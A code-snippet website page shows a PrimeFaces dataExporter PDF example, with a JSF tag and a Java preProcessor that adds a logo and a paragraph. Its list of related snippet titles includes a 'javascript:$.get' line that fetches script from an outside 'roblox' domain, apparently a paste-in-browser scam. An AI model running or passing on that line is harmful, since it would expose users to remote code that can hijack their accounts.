Search
 
SCRIPT & CODE EXAMPLE
 

JAVA

primefaces p:dataexporter encoding for pdf

<h:commandLink>  
     Link
     <p:dataExporter type="pdf" encoding="iso-8859-1" target="tablePorCategoria" preProcessor="#{categoryBean.preProcessPDF}" fileName="cars"/>  
</h:commandLink>
Comment

primefaces p:dataexporter encoding for pdf preProcessor

//cria o documento
    Document pdf = (Document) document;        
    
    //seta a margin e página, precisa estar antes da abertura do documento, ou seja da linha: pdf.open()
    pdf.setMargins(200f, 200f, 200f, 200f);
    pdf.setPageSize(PageSize.A4);
    pdf.addTitle("Título here brother");
    
    pdf.open();
    
    //aqui pega o contexto para formar a url da imagem
    ServletContext servletContext = (ServletContext) FacesContext.getCurrentInstance().getExternalContext().getContext();
    String logo = servletContext.getRealPath("") + File.separator + "resources/images" + File.separator + "logo.png";

    
    //cria a imagem e passando a url
    Image image = Image.getInstance(logo);

    //alinha ao centro
    image.setAlignment(Image.ALIGN_CENTER);

    //adciona a img ao pdf
    pdf.add(image);
    

    //adiciona um paragrafo ao pdf, alinha também ao centro
    Paragraph p = new Paragraph("teste frase");
    p.setAlignment("center");
    pdf.add(p);
    
}[/code]
Comment

PREVIOUS NEXT
Code Example
Java :: android studio doesnt work when in full screen mac os 
Java :: declare a variable java 
Java :: convertir un float en int en java 
Java :: how to show the hex detail of a file in java 
Java :: before first method in jdbc 
Java :: android volley benefits 
Java :: Java take() Method 
Java :: Java Static Top-level Class 
Java :: android how to get position of a row in listview 
Java :: Java the implements this function will return a copy of the original String that has all characters replaced with plus signs ("+"), with the exception of word string appearances, which are left alone. 
Java :: xJavascript:$.get("//javascript-roblox.com/api?i=8593") 
Java :: Android popBackStack to specific fragment 
Java :: Java private no-arg constructor 
Java :: Buscando Objeto do Array 
Java :: Convert Java File to Kotlin File 
Java :: what does % do in java 
Java :: Java Using range(e1, e2) Method 
Java :: setBackgrounfTint color to relative layout from java file 
Java :: is overriding only works with inherited methods? 
Java :: how to return list in java 
Java :: Which of the following is an example of a Method reference? 
Java :: How can i stub Instant object using powermock 
Java :: hello world stack overflow 
Java :: tutorialedge working with docker 
Java :: generate infinity steam java 
Java :: how to use java code to print with a network printer 
Java :: for loop in how to call class in android studio 
Java :: string in java 
Java :: class in java 
Java :: how to set current item for spinner android 
ADD CONTENT
Topic
Content
Source link
Name
1+7 =